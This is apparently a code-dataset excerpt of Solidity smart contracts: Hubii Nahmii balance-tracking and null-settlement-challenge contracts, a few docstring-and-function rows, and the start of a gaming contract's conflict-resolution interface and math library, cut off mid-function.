/// @notice Set the non-fungible balance IDs of the given wallet, type and currency to the given value
/// @param wallet The address of the concerned wallet
/// @param _type The balance type
/// @param ids The ids of non-fungible) to set
/// @param currencyCt The address of the concerned currency contract (address(0) == ETH)
/// @param currencyId The ID of the concerned currency (0 for ETH and ERC20)
function setIds(address wallet, bytes32 _type, int256[] ids, address currencyCt, uint256 currencyId)
public
onlyActiveService
{
// Update the balance
walletMap[wallet].nonFungibleBalanceByType[_type].set(
ids, currencyCt, currencyId
);
// Update balance type hashes
_updateTrackedBalanceTypes(_type);
// Update tracked wallets
_updateTrackedWallets(wallet);
}
/// @notice Add the given value to the balance of the given wallet, type and currency
/// @param wallet The address of the concerned wallet
/// @param _type The balance type
/// @param value The value (amount of fungible, id of non-fungible) to add
/// @param currencyCt The address of the concerned currency contract (address(0) == ETH)
/// @param currencyId The ID of the concerned currency (0 for ETH and ERC20)
/// @param fungible True if adding fungible balance, else false
function add(address wallet, bytes32 _type, int256 value, address currencyCt, uint256 currencyId,
bool fungible)
public
onlyActiveService
{
// Update the balance
if (fungible)
walletMap[wallet].fungibleBalanceByType[_type].add(
value, currencyCt, currencyId
);
else
walletMap[wallet].nonFungibleBalanceByType[_type].add(
value, currencyCt, currencyId
);
// Update balance type hashes
_updateTrackedBalanceTypes(_type);
// Update tracked wallets
_updateTrackedWallets(wallet);
}
/// @notice Subtract the given value from the balance of the given wallet, type and currency
/// @param wallet The address of the concerned wallet
/// @param _type The balance type
/// @param value The value (amount of fungible, id of non-fungible) to subtract
/// @param currencyCt The address of the concerned currency contract (address(0) == ETH)
/// @param currencyId The ID of the concerned currency (0 for ETH and ERC20)
/// @param fungible True if subtracting fungible balance, else false
function sub(address wallet, bytes32 _type, int256 value, address currencyCt, uint256 currencyId,
bool fungible)
public
onlyActiveService
{
// Update the balance
if (fungible)
walletMap[wallet].fungibleBalanceByType[_type].sub(
value, currencyCt, currencyId
);
else
walletMap[wallet].nonFungibleBalanceByType[_type].sub(
value, currencyCt, currencyId
);
// Update tracked wallets
_updateTrackedWallets(wallet);
}
/// @notice Gauge whether this tracker has in-use data for the given wallet, type and currency
/// @param wallet The address of the concerned wallet
/// @param _type The balance type
/// @param currencyCt The address of the concerned currency contract (address(0) == ETH)
/// @param currencyId The ID of the concerned currency (0 for ETH and ERC20)
/// @return true if data is stored, else false
function hasInUseCurrency(address wallet, bytes32 _type, address currencyCt, uint256 currencyId)
public
view
returns (bool)
{
return walletMap[wallet].fungibleBalanceByType[_type].hasInUseCurrency(currencyCt, currencyId)
|| walletMap[wallet].nonFungibleBalanceByType[_type].hasInUseCurrency(currencyCt, currencyId);
}
/// @notice Gauge whether this tracker has ever-used data for the given wallet, type and currency
/// @param wallet The address of the concerned wallet
/// @param _type The balance type
/// @param currencyCt The address of the concerned currency contract (address(0) == ETH)
/// @param currencyId The ID of the concerned currency (0 for ETH and ERC20)
/// @return true if data is stored, else false
function hasEverUsedCurrency(address wallet, bytes32 _type, address currencyCt, uint256 currencyId)
public
view
returns (bool)
{
return walletMap[wallet].fungibleBalanceByType[_type].hasEverUsedCurrency(currencyCt, currencyId)
|| walletMap[wallet].nonFungibleBalanceByType[_type].hasEverUsedCurrency(currencyCt, currencyId);
}
/// @notice Get the count of fungible balance records for the given wallet, type and currency
/// @param wallet The address of the concerned wallet
/// @param _type The balance type
/// @param currencyCt The address of the concerned currency contract (address(0) == ETH)
/// @param currencyId The ID of the concerned currency (0 for ETH and ERC20)
/// @return The count of balance log entries
function fungibleRecordsCount(address wallet, bytes32 _type, address currencyCt, uint256 currencyId)
public
view
returns (uint256)
{
return walletMap[wallet].fungibleBalanceByType[_type].recordsCount(currencyCt, currencyId);
}
/// @notice Get the fungible balance record for the given wallet, type, currency
/// log entry index
/// @param wallet The address of the concerned wallet
/// @param _type The balance type
/// @param currencyCt The address of the concerned currency contract (address(0) == ETH)
/// @param currencyId The ID of the concerned currency (0 for ETH and ERC20)
/// @param index The concerned record index
/// @return The balance record
function fungibleRecordByIndex(address wallet, bytes32 _type, address currencyCt, uint256 currencyId,
uint256 index)
public
view
returns (int256 amount, uint256 blockNumber)
{
return walletMap[wallet].fungibleBalanceByType[_type].recordByIndex(currencyCt, currencyId, index);
}
/// @notice Get the non-fungible balance record for the given wallet, type, currency
/// block number
/// @param wallet The address of the concerned wallet
/// @param _type The balance type
/// @param currencyCt The address of the concerned currency contract (address(0) == ETH)
/// @param currencyId The ID of the concerned currency (0 for ETH and ERC20)
/// @param _blockNumber The concerned block number
/// @return The balance record
function fungibleRecordByBlockNumber(address wallet, bytes32 _type, address currencyCt, uint256 currencyId,
uint256 _blockNumber)
public
view
returns (int256 amount, uint256 blockNumber)
{
return walletMap[wallet].fungibleBalanceByType[_type].recordByBlockNumber(currencyCt, currencyId, _blockNumber);
}
/// @notice Get the last (most recent) non-fungible balance record for the given wallet, type and currency
/// @param wallet The address of the concerned wallet
/// @param _type The balance type
/// @param currencyCt The address of the concerned currency contract (address(0) == ETH)
/// @param currencyId The ID of the concerned currency (0 for ETH and ERC20)
/// @return The last log entry
function lastFungibleRecord(address wallet, bytes32 _type, address currencyCt, uint256 currencyId)
public
view
returns (int256 amount, uint256 blockNumber)
{
return walletMap[wallet].fungibleBalanceByType[_type].lastRecord(currencyCt, currencyId);
}
/// @notice Get the count of non-fungible balance records for the given wallet, type and currency
/// @param wallet The address of the concerned wallet
/// @param _type The balance type
/// @param currencyCt The address of the concerned currency contract (address(0) == ETH)
/// @param currencyId The ID of the concerned currency (0 for ETH and ERC20)
/// @return The count of balance log entries
function nonFungibleRecordsCount(address wallet, bytes32 _type, address currencyCt, uint256 currencyId)
public
view
returns (uint256)
{
return walletMap[wallet].nonFungibleBalanceByType[_type].recordsCount(currencyCt, currencyId);
}
/// @notice Get the non-fungible balance record for the given wallet, type, currency
/// and record index
/// @param wallet The address of the concerned wallet
/// @param _type The balance type
/// @param currencyCt The address of the concerned currency contract (address(0) == ETH)
/// @param currencyId The ID of the concerned currency (0 for ETH and ERC20)
/// @param index The concerned record index
/// @return The balance record
function nonFungibleRecordByIndex(address wallet, bytes32 _type, address currencyCt, uint256 currencyId,
uint256 index)
public
view
returns (int256[] ids, uint256 blockNumber)
{
return walletMap[wallet].nonFungibleBalanceByType[_type].recordByIndex(currencyCt, currencyId, index);
}
/// @notice Get the non-fungible balance record for the given wallet, type, currency
/// and block number
/// @param wallet The address of the concerned wallet
/// @param _type The balance type
/// @param currencyCt The address of the concerned currency contract (address(0) == ETH)
/// @param currencyId The ID of the concerned currency (0 for ETH and ERC20)
/// @param _blockNumber The concerned block number
/// @return The balance record
function nonFungibleRecordByBlockNumber(address wallet, bytes32 _type, address currencyCt, uint256 currencyId,
uint256 _blockNumber)
public
view
returns (int256[] ids, uint256 blockNumber)
{
return walletMap[wallet].nonFungibleBalanceByType[_type].recordByBlockNumber(currencyCt, currencyId, _blockNumber);
}
/// @notice Get the last (most recent) non-fungible balance record for the given wallet, type and currency
/// @param wallet The address of the concerned wallet
/// @param _type The balance type
/// @param currencyCt The address of the concerned currency contract (address(0) == ETH)
/// @param currencyId The ID of the concerned currency (0 for ETH and ERC20)
/// @return The last log entry
function lastNonFungibleRecord(address wallet, bytes32 _type, address currencyCt, uint256 currencyId)
public
view
returns (int256[] ids, uint256 blockNumber)
{
return walletMap[wallet].nonFungibleBalanceByType[_type].lastRecord(currencyCt, currencyId);
}
/// @notice Get the count of tracked balance types
/// @return The count of tracked balance types
function trackedBalanceTypesCount()
public
view
returns (uint256)
{
return trackedBalanceTypes.length;
}
/// @notice Get the count of tracked wallets
/// @return The count of tracked wallets
function trackedWalletsCount()
public
view
returns (uint256)
{
return trackedWallets.length;
}
/// @notice Get the default full set of balance types
/// @return The set of all balance types
function allBalanceTypes()
public
view
returns (bytes32[])
{
return _allBalanceTypes;
}
/// @notice Get the default set of active balance types
/// @return The set of active balance types
function activeBalanceTypes()
public
view
returns (bytes32[])
{
return _activeBalanceTypes;
}
/// @notice Get the subset of tracked wallets in the given index range
/// @param low The lower index
/// @param up The upper index
/// @return The subset of tracked wallets
function trackedWalletsByIndices(uint256 low, uint256 up)
public
view
returns (address[])
{
require(0 < trackedWallets.length);
require(low <= up);
up = up.clampMax(trackedWallets.length - 1);
address[] memory _trackedWallets = new address[](up - low + 1);
for (uint256 i = low; i <= up; i++)
_trackedWallets[i - low] = trackedWallets[i];
return _trackedWallets;
}
//
// Private functions
// -----------------------------------------------------------------------------------------------------------------
function _updateTrackedBalanceTypes(bytes32 _type)
private
{
if (!trackedBalanceTypeMap[_type]) {
trackedBalanceTypeMap[_type] = true;
trackedBalanceTypes.push(_type);
}
}
function _updateTrackedWallets(address wallet)
private
{
if (0 == trackedWalletIndexByWallet[wallet]) {
trackedWallets.push(wallet);
trackedWalletIndexByWallet[wallet] = trackedWallets.length;
}
}
}
/*
* Hubii Nahmii
*
* Compliant with the Hubii Nahmii specification v0.12.
*
* Copyright (C) 2017-2018 Hubii AS
*/
/**
* @title BalanceTrackable
* @notice An ownable that has a balance tracker property
*/
contract BalanceTrackable is Ownable {
//
// Variables
// -----------------------------------------------------------------------------------------------------------------
BalanceTracker public balanceTracker;
bool public balanceTrackerFrozen;
//
// Events
// -----------------------------------------------------------------------------------------------------------------
event SetBalanceTrackerEvent(BalanceTracker oldBalanceTracker, BalanceTracker newBalanceTracker);
event FreezeBalanceTrackerEvent();
//
// Functions
// -----------------------------------------------------------------------------------------------------------------
/// @notice Set the balance tracker contract
/// @param newBalanceTracker The (address of) BalanceTracker contract instance
function setBalanceTracker(BalanceTracker newBalanceTracker)
public
onlyDeployer
notNullAddress(newBalanceTracker)
notSameAddresses(newBalanceTracker, balanceTracker)
{
// Require that this contract has not been frozen
require(!balanceTrackerFrozen);
// Update fields
BalanceTracker oldBalanceTracker = balanceTracker;
balanceTracker = newBalanceTracker;
// Emit event
emit SetBalanceTrackerEvent(oldBalanceTracker, newBalanceTracker);
}
/// @notice Freeze the balance tracker from further updates
/// @dev This operation can not be undone
function freezeBalanceTracker()
public
onlyDeployer
{
balanceTrackerFrozen = true;
// Emit event
emit FreezeBalanceTrackerEvent();
}
//
// Modifiers
// -----------------------------------------------------------------------------------------------------------------
modifier balanceTrackerInitialized() {
require(balanceTracker != address(0));
_;
}
}
/*
* Hubii Nahmii
*
* Compliant with the Hubii Nahmii specification v0.12.
*
* Copyright (C) 2017-2018 Hubii AS
*/
/**
* @title NahmiiTypesLib
* @dev Data types of general nahmii character
*/
library NahmiiTypesLib {
//
// Enums
// -----------------------------------------------------------------------------------------------------------------
enum ChallengePhase {Dispute, Closed}
//
// Structures
// -----------------------------------------------------------------------------------------------------------------
struct OriginFigure {
uint256 originId;
MonetaryTypesLib.Figure figure;
}
struct IntendedConjugateCurrency {
MonetaryTypesLib.Currency intended;
MonetaryTypesLib.Currency conjugate;
}
struct SingleFigureTotalOriginFigures {
MonetaryTypesLib.Figure single;
OriginFigure[] total;
}
struct TotalOriginFigures {
OriginFigure[] total;
}
struct CurrentPreviousInt256 {
int256 current;
int256 previous;
}
struct SingleTotalInt256 {
int256 single;
int256 total;
}
struct IntendedConjugateCurrentPreviousInt256 {
CurrentPreviousInt256 intended;
CurrentPreviousInt256 conjugate;
}
struct IntendedConjugateSingleTotalInt256 {
SingleTotalInt256 intended;
SingleTotalInt256 conjugate;
}
struct WalletOperatorHashes {
bytes32 wallet;
bytes32 operator;
}
struct Signature {
bytes32 r;
bytes32 s;
uint8 v;
}
struct Seal {
bytes32 hash;
Signature signature;
}
struct WalletOperatorSeal {
Seal wallet;
Seal operator;
}
}
/*
* Hubii Nahmii
*
* Compliant with the Hubii Nahmii specification v0.12.
*
* Copyright (C) 2017-2018 Hubii AS
*/
/**
* @title SettlementChallengeTypesLib
* @dev Types for settlement challenges
*/
library SettlementChallengeTypesLib {
//
// Structures
// -----------------------------------------------------------------------------------------------------------------
enum Status {Qualified, Disqualified}
struct Proposal {
address wallet;
uint256 nonce;
uint256 referenceBlockNumber;
uint256 definitionBlockNumber;
uint256 expirationTime;
// Status
Status status;
// Amounts
Amounts amounts;
// Currency
MonetaryTypesLib.Currency currency;
// Info on challenged driip
Driip challenged;
// True is equivalent to reward coming from wallet's balance
bool walletInitiated;
// True if proposal has been terminated
bool terminated;
// Disqualification
Disqualification disqualification;
}
struct Amounts {
// Cumulative (relative) transfer info
int256 cumulativeTransfer;
// Stage info
int256 stage;
// Balances after amounts have been staged
int256 targetBalance;
}
struct Driip {
// Kind ("payment", "trade", ...)
string kind;
// Hash (of operator)
bytes32 hash;
}
struct Disqualification {
// Challenger
address challenger;
uint256 nonce;
uint256 blockNumber;
// Info on candidate driip
Driip candidate;
}
}
/*
* Hubii Nahmii
*
* Compliant with the Hubii Nahmii specification v0.12.
*
* Copyright (C) 2017-2018 Hubii AS
*/
/**
* @title NullSettlementChallengeState
* @notice Where null settlements challenge state is managed
*/
contract NullSettlementChallengeState is Ownable, Servable, Configurable, BalanceTrackable {
using SafeMathIntLib for int256;
using SafeMathUintLib for uint256;
//
// Constants
// -----------------------------------------------------------------------------------------------------------------
string constant public INITIATE_PROPOSAL_ACTION = "initiate_proposal";
string constant public TERMINATE_PROPOSAL_ACTION = "terminate_proposal";
string constant public REMOVE_PROPOSAL_ACTION = "remove_proposal";
string constant public DISQUALIFY_PROPOSAL_ACTION = "disqualify_proposal";
//
// Variables
// -----------------------------------------------------------------------------------------------------------------
SettlementChallengeTypesLib.Proposal[] public proposals;
mapping(address => mapping(address => mapping(uint256 => uint256))) public proposalIndexByWalletCurrency;
//
// Events
// -----------------------------------------------------------------------------------------------------------------
event InitiateProposalEvent(address wallet, uint256 nonce, int256 stageAmount, int256 targetBalanceAmount,
MonetaryTypesLib.Currency currency, uint256 blockNumber, bool walletInitiated);
event TerminateProposalEvent(address wallet, uint256 nonce, int256 stageAmount, int256 targetBalanceAmount,
MonetaryTypesLib.Currency currency, uint256 blockNumber, bool walletInitiated);
event RemoveProposalEvent(address wallet, uint256 nonce, int256 stageAmount, int256 targetBalanceAmount,
MonetaryTypesLib.Currency currency, uint256 blockNumber, bool walletInitiated);
event DisqualifyProposalEvent(address challengedWallet, uint256 challangedNonce, int256 stageAmount,
int256 targetBalanceAmount, MonetaryTypesLib.Currency currency, uint256 blockNumber, bool walletInitiated,
address challengerWallet, uint256 candidateNonce, bytes32 candidateHash, string candidateKind);
//
// Constructor
// -----------------------------------------------------------------------------------------------------------------
constructor(address deployer) Ownable(deployer) public {
}
//
// Functions
// -----------------------------------------------------------------------------------------------------------------
/// @notice Get the number of proposals
/// @return The number of proposals
function proposalsCount()
public
view
returns (uint256)
{
return proposals.length;
}
/// @notice Initiate a proposal
/// @param wallet The address of the concerned challenged wallet
/// @param nonce The wallet nonce
/// @param stageAmount The proposal stage amount
/// @param targetBalanceAmount The proposal target balance amount
/// @param currency The concerned currency
/// @param blockNumber The proposal block number
/// @param walletInitiated True if initiated by the concerned challenged wallet
function initiateProposal(address wallet, uint256 nonce, int256 stageAmount, int256 targetBalanceAmount,
MonetaryTypesLib.Currency currency, uint256 blockNumber, bool walletInitiated)
public
onlyEnabledServiceAction(INITIATE_PROPOSAL_ACTION)
{
// Initiate proposal
_initiateProposal(
wallet, nonce, stageAmount, targetBalanceAmount,
currency, blockNumber, walletInitiated
);
// Emit event
emit InitiateProposalEvent(
wallet, nonce, stageAmount, targetBalanceAmount, currency,
blockNumber, walletInitiated
);
}
/// @notice Terminate a proposal
/// @param wallet The address of the concerned challenged wallet
/// @param currency The concerned currency
function terminateProposal(address wallet, MonetaryTypesLib.Currency currency)
public
onlyEnabledServiceAction(TERMINATE_PROPOSAL_ACTION)
{
// Get the proposal index
uint256 index = proposalIndexByWalletCurrency[wallet][currency.ct][currency.id];
// Return gracefully if there is no proposal to terminate
if (0 == index)
return;
// Terminate proposal
proposals[index - 1].terminated = true;
// Emit event
emit TerminateProposalEvent(
wallet, proposals[index - 1].nonce, proposals[index - 1].amounts.stage,
proposals[index - 1].amounts.targetBalance, currency,
proposals[index - 1].referenceBlockNumber, proposals[index - 1].walletInitiated
);
}
/// @notice Terminate a proposal
/// @param wallet The address of the concerned challenged wallet
/// @param currency The concerned currency
/// @param walletTerminated True if wallet terminated
function terminateProposal(address wallet, MonetaryTypesLib.Currency currency, bool walletTerminated)
public
onlyEnabledServiceAction(TERMINATE_PROPOSAL_ACTION)
{
// Get the proposal index
uint256 index = proposalIndexByWalletCurrency[wallet][currency.ct][currency.id];
// Return gracefully if there is no proposal to terminate
if (0 == index)
return;
// Require that role that initialized (wallet or operator) can only cancel its own proposal
require(walletTerminated == proposals[index - 1].walletInitiated);
// Terminate proposal
proposals[index - 1].terminated = true;
// Emit event
emit TerminateProposalEvent(
wallet, proposals[index - 1].nonce, proposals[index - 1].amounts.stage,
proposals[index - 1].amounts.targetBalance, currency,
proposals[index - 1].referenceBlockNumber, proposals[index - 1].walletInitiated
);
}
/// @notice Remove a proposal
/// @param wallet The address of the concerned challenged wallet
/// @param currency The concerned currency
function removeProposal(address wallet, MonetaryTypesLib.Currency currency)
public
onlyEnabledServiceAction(REMOVE_PROPOSAL_ACTION)
{
// Get the proposal index
uint256 index = proposalIndexByWalletCurrency[wallet][currency.ct][currency.id];
// Return gracefully if there is no proposal to remove
if (0 == index)
return;
// Emit event
emit RemoveProposalEvent(
wallet, proposals[index - 1].nonce, proposals[index - 1].amounts.stage,
proposals[index - 1].amounts.targetBalance, currency,
proposals[index - 1].referenceBlockNumber, proposals[index - 1].walletInitiated
);
// Remove proposal
_removeProposal(index);
}
/// @notice Remove a proposal
/// @param wallet The address of the concerned challenged wallet
/// @param currency The concerned currency
/// @param walletTerminated True if wallet terminated
function removeProposal(address wallet, MonetaryTypesLib.Currency currency, bool walletTerminated)
public
onlyEnabledServiceAction(REMOVE_PROPOSAL_ACTION)
{
// Get the proposal index
uint256 index = proposalIndexByWalletCurrency[wallet][currency.ct][currency.id];
// Return gracefully if there is no proposal to remove
if (0 == index)
return;
// Require that role that initialized (wallet or operator) can only cancel its own proposal
require(walletTerminated == proposals[index - 1].walletInitiated);
// Emit event
emit RemoveProposalEvent(
wallet, proposals[index - 1].nonce, proposals[index - 1].amounts.stage,
proposals[index - 1].amounts.targetBalance, currency,
proposals[index - 1].referenceBlockNumber, proposals[index - 1].walletInitiated
);
// Remove proposal
_removeProposal(index);
}
/// @notice Disqualify a proposal
/// @dev A call to this function will intentionally override previous disqualifications if existent
/// @param challengedWallet The address of the concerned challenged wallet
/// @param currency The concerned currency
/// @param challengerWallet The address of the concerned challenger wallet
/// @param blockNumber The disqualification block number
/// @param candidateNonce The candidate nonce
/// @param candidateHash The candidate hash
/// @param candidateKind The candidate kind
function disqualifyProposal(address challengedWallet, MonetaryTypesLib.Currency currency, address challengerWallet,
uint256 blockNumber, uint256 candidateNonce, bytes32 candidateHash, string candidateKind)
public
onlyEnabledServiceAction(DISQUALIFY_PROPOSAL_ACTION)
{
// Get the proposal index
uint256 index = proposalIndexByWalletCurrency[challengedWallet][currency.ct][currency.id];
require(0 != index);
// Update proposal
proposals[index - 1].status = SettlementChallengeTypesLib.Status.Disqualified;
proposals[index - 1].expirationTime = block.timestamp.add(configuration.settlementChallengeTimeout());
proposals[index - 1].disqualification.challenger = challengerWallet;
proposals[index - 1].disqualification.nonce = candidateNonce;
proposals[index - 1].disqualification.blockNumber = blockNumber;
proposals[index - 1].disqualification.candidate.hash = candidateHash;
proposals[index - 1].disqualification.candidate.kind = candidateKind;
// Emit event
emit DisqualifyProposalEvent(
challengedWallet, proposals[index - 1].nonce, proposals[index - 1].amounts.stage,
proposals[index - 1].amounts.targetBalance, currency, proposals[index - 1].referenceBlockNumber,
proposals[index - 1].walletInitiated, challengerWallet, candidateNonce, candidateHash, candidateKind
);
}
/// @notice Gauge whether the proposal for the given wallet and currency has expired
/// @param wallet The address of the concerned wallet
/// @param currency The concerned currency
/// @return true if proposal has expired, else false
function hasProposal(address wallet, MonetaryTypesLib.Currency currency)
public
view
returns (bool)
{
// 1-based index
return 0 != proposalIndexByWalletCurrency[wallet][currency.ct][currency.id];
}
/// @notice Gauge whether the proposal for the given wallet and currency has terminated
/// @param wallet The address of the concerned wallet
/// @param currency The concerned currency
/// @return true if proposal has terminated, else false
function hasProposalTerminated(address wallet, MonetaryTypesLib.Currency currency)
public
view
returns (bool)
{
// 1-based index
uint256 index = proposalIndexByWalletCurrency[wallet][currency.ct][currency.id];
require(0 != index);
return proposals[index - 1].terminated;
}
/// @notice Gauge whether the proposal for the given wallet and currency has expired
/// @param wallet The address of the concerned wallet
/// @param currency The concerned currency
/// @return true if proposal has expired, else false
function hasProposalExpired(address wallet, MonetaryTypesLib.Currency currency)
public
view
returns (bool)
{
// 1-based index
uint256 index = proposalIndexByWalletCurrency[wallet][currency.ct][currency.id];
require(0 != index);
return block.timestamp >= proposals[index - 1].expirationTime;
}
/// @notice Get the settlement proposal challenge nonce of the given wallet and currency
/// @param wallet The address of the concerned wallet
/// @param currency The concerned currency
/// @return The settlement proposal nonce
function proposalNonce(address wallet, MonetaryTypesLib.Currency currency)
public
view
returns (uint256)
{
uint256 index = proposalIndexByWalletCurrency[wallet][currency.ct][currency.id];
require(0 != index);
return proposals[index - 1].nonce;
}
/// @notice Get the settlement proposal reference block number of the given wallet and currency
/// @param wallet The address of the concerned wallet
/// @param currency The concerned currency
/// @return The settlement proposal reference block number
function proposalReferenceBlockNumber(address wallet, MonetaryTypesLib.Currency currency)
public
view
returns (uint256)
{
uint256 index = proposalIndexByWalletCurrency[wallet][currency.ct][currency.id];
require(0 != index);
return proposals[index - 1].referenceBlockNumber;
}
/// @notice Get the settlement proposal definition block number of the given wallet and currency
/// @param wallet The address of the concerned wallet
/// @param currency The concerned currency
/// @return The settlement proposal reference block number
function proposalDefinitionBlockNumber(address wallet, MonetaryTypesLib.Currency currency)
public
view
returns (uint256)
{
uint256 index = proposalIndexByWalletCurrency[wallet][currency.ct][currency.id];
require(0 != index);
return proposals[index - 1].definitionBlockNumber;
}
/// @notice Get the settlement proposal expiration time of the given wallet and currency
/// @param wallet The address of the concerned wallet
/// @param currency The concerned currency
/// @return The settlement proposal expiration time
function proposalExpirationTime(address wallet, MonetaryTypesLib.Currency currency)
public
view
returns (uint256)
{
uint256 index = proposalIndexByWalletCurrency[wallet][currency.ct][currency.id];
require(0 != index);
return proposals[index - 1].expirationTime;
}
/// @notice Get the settlement proposal status of the given wallet and currency
/// @param wallet The address of the concerned wallet
/// @param currency The concerned currency
/// @return The settlement proposal status
function proposalStatus(address wallet, MonetaryTypesLib.Currency currency)
public
view
returns (SettlementChallengeTypesLib.Status)
{
uint256 index = proposalIndexByWalletCurrency[wallet][currency.ct][currency.id];
require(0 != index);
return proposals[index - 1].status;
}
/// @notice Get the settlement proposal stage amount of the given wallet and currency
/// @param wallet The address of the concerned wallet
/// @param currency The concerned currency
/// @return The settlement proposal stage amount
function proposalStageAmount(address wallet, MonetaryTypesLib.Currency currency)
public
view
returns (int256)
{
uint256 index = proposalIndexByWalletCurrency[wallet][currency.ct][currency.id];
require(0 != index);
return proposals[index - 1].amounts.stage;
}
/// @notice Get the settlement proposal target balance amount of the given wallet and currency
/// @param wallet The address of the concerned wallet
/// @param currency The concerned currency
/// @return The settlement proposal target balance amount
function proposalTargetBalanceAmount(address wallet, MonetaryTypesLib.Currency currency)
public
view
returns (int256)
{
uint256 index = proposalIndexByWalletCurrency[wallet][currency.ct][currency.id];
require(0 != index);
return proposals[index - 1].amounts.targetBalance;
}
/// @notice Get the settlement proposal balance reward of the given wallet and currency
/// @param wallet The address of the concerned wallet
/// @param currency The concerned currency
/// @return The settlement proposal balance reward
function proposalWalletInitiated(address wallet, MonetaryTypesLib.Currency currency)
public
view
returns (bool)
{
uint256 index = proposalIndexByWalletCurrency[wallet][currency.ct][currency.id];
require(0 != index);
return proposals[index - 1].walletInitiated;
}
/// @notice Get the settlement proposal disqualification challenger of the given wallet and currency
/// @param wallet The address of the concerned wallet
/// @param currency The concerned currency
/// @return The settlement proposal disqualification challenger
function proposalDisqualificationChallenger(address wallet, MonetaryTypesLib.Currency currency)
public
view
returns (address)
{
uint256 index = proposalIndexByWalletCurrency[wallet][currency.ct][currency.id];
require(0 != index);
return proposals[index - 1].disqualification.challenger;
}
/// @notice Get the settlement proposal disqualification block number of the given wallet and currency
/// @param wallet The address of the concerned wallet
/// @param currency The concerned currency
/// @return The settlement proposal disqualification block number
function proposalDisqualificationBlockNumber(address wallet, MonetaryTypesLib.Currency currency)
public
view
returns (uint256)
{
uint256 index = proposalIndexByWalletCurrency[wallet][currency.ct][currency.id];
require(0 != index);
return proposals[index - 1].disqualification.blockNumber;
}
/// @notice Get the settlement proposal disqualification nonce of the given wallet and currency
/// @param wallet The address of the concerned wallet
/// @param currency The concerned currency
/// @return The settlement proposal disqualification nonce
function proposalDisqualificationNonce(address wallet, MonetaryTypesLib.Currency currency)
public
view
returns (uint256)
{
uint256 index = proposalIndexByWalletCurrency[wallet][currency.ct][currency.id];
require(0 != index);
return proposals[index - 1].disqualification.nonce;
}
/// @notice Get the settlement proposal disqualification candidate hash of the given wallet and currency
/// @param wallet The address of the concerned wallet
/// @param currency The concerned currency
/// @return The settlement proposal disqualification candidate hash
function proposalDisqualificationCandidateHash(address wallet, MonetaryTypesLib.Currency currency)
public
view
returns (bytes32)
{
uint256 index = proposalIndexByWalletCurrency[wallet][currency.ct][currency.id];
require(0 != index);
return proposals[index - 1].disqualification.candidate.hash;
}
/// @notice Get the settlement proposal disqualification candidate kind of the given wallet and currency
/// @param wallet The address of the concerned wallet
/// @param currency The concerned currency
/// @return The settlement proposal disqualification candidate kind
function proposalDisqualificationCandidateKind(address wallet, MonetaryTypesLib.Currency currency)
public
view
returns (string)
{
uint256 index = proposalIndexByWalletCurrency[wallet][currency.ct][currency.id];
require(0 != index);
return proposals[index - 1].disqualification.candidate.kind;
}
//
// Private functions
// -----------------------------------------------------------------------------------------------------------------
function _initiateProposal(address wallet, uint256 nonce, int256 stageAmount, int256 targetBalanceAmount,
MonetaryTypesLib.Currency currency, uint256 referenceBlockNumber, bool walletInitiated)
private
{
// Require that stage and target balance amounts are positive
require(stageAmount.isPositiveInt256());
require(targetBalanceAmount.isPositiveInt256());
uint256 index = proposalIndexByWalletCurrency[wallet][currency.ct][currency.id];
// Create proposal if needed
if (0 == index) {
index = ++(proposals.length);
proposalIndexByWalletCurrency[wallet][currency.ct][currency.id] = index;
}
// Populate proposal
proposals[index - 1].wallet = wallet;
proposals[index - 1].nonce = nonce;
proposals[index - 1].referenceBlockNumber = referenceBlockNumber;
proposals[index - 1].definitionBlockNumber = block.number;
proposals[index - 1].expirationTime = block.timestamp.add(configuration.settlementChallengeTimeout());
proposals[index - 1].status = SettlementChallengeTypesLib.Status.Qualified;
proposals[index - 1].currency = currency;
proposals[index - 1].amounts.stage = stageAmount;
proposals[index - 1].amounts.targetBalance = targetBalanceAmount;
proposals[index - 1].walletInitiated = walletInitiated;
proposals[index - 1].terminated = false;
}
function _removeProposal(uint256 index)
private
returns (bool)
{
// Remove the proposal and clear references to it
proposalIndexByWalletCurrency[proposals[index - 1].wallet][proposals[index - 1].currency.ct][proposals[index - 1].currency.id] = 0;
if (index < proposals.length) {
proposals[index - 1] = proposals[proposals.length - 1];
proposalIndexByWalletCurrency[proposals[index - 1].wallet][proposals[index - 1].currency.ct][proposals[index - 1].currency.id] = index;
}
proposals.length--;
}
function _activeBalanceLogEntry(address wallet, address currencyCt, uint256 currencyId)
private
view
returns (int256 amount, uint256 blockNumber)
{
// Get last log record of deposited and settled balances
(int256 depositedAmount, uint256 depositedBlockNumber) = balanceTracker.lastFungibleRecord(
wallet, balanceTracker.depositedBalanceType(), currencyCt, currencyId
);
(int256 settledAmount, uint256 settledBlockNumber) = balanceTracker.lastFungibleRecord(
wallet, balanceTracker.settledBalanceType(), currencyCt, currencyId
);
// Set amount as the sum of deposited and settled
amount = depositedAmount.add(settledAmount);
// Set block number as the latest of deposited and settled
blockNumber = depositedBlockNumber > settledBlockNumber ? depositedBlockNumber : settledBlockNumber;
}
}
|
@notice Get number of minimum payment fee block number tiers for given currency @param currencyCt The address of the concerned currency contract (address(0) == ETH) @param currencyId The ID of the concerned currency (0 for ETH and ERC20)
|
function currencyPaymentMinimumFeesCount(address currencyCt, uint256 currencyId)
public
view
returns (uint256)
{
return currencyPaymentMinimumFeeByBlockNumber[currencyCt][currencyId].count();
}
| 415,268
|
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./partial_match/1/0x0890B12E9f7cc6219b3668Bf2CfcC852964CAaB4/sources/EmojiRalleyGame.sol
|
Tracks ERC20 wagered since last reward for each player
|
mapping(address => mapping(address => uint256)) public erc20WageredSinceLastReward;
| 4,320,482
|
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] |
pragma solidity ^0.4.24;
interface ConflictResolutionInterface {
function minHouseStake(uint activeGames) external pure returns(uint);
function maxBalance() external pure returns(int);
function conflictEndFine() external pure returns(int);
function isValidBet(uint8 _gameType, uint _betNum, uint _betValue) external pure returns(bool);
function endGameConflict(
uint8 _gameType,
uint _betNum,
uint _betValue,
int _balance,
uint _stake,
bytes32 _serverSeed,
bytes32 _userSeed
)
external
view
returns(int);
function serverForceGameEnd(
uint8 gameType,
uint _betNum,
uint _betValue,
int _balance,
uint _stake,
uint _endInitiatedTime
)
external
view
returns(int);
function userForceGameEnd(
uint8 _gameType,
uint _betNum,
uint _betValue,
int _balance,
uint _stake,
uint _endInitiatedTime
)
external
view
returns(int);
}
library MathUtil {
/**
* @dev Returns the absolute value of _val.
* @param _val value
* @return The absolute value of _val.
*/
function abs(int _val) internal pure returns(uint) {
if (_val < 0) {
return uint(-_val);
} else {
return uint(_val);
}
}
/**
* @dev Calculate maximum.
*/
function max(uint _val1, uint _val2) internal pure returns(uint) {
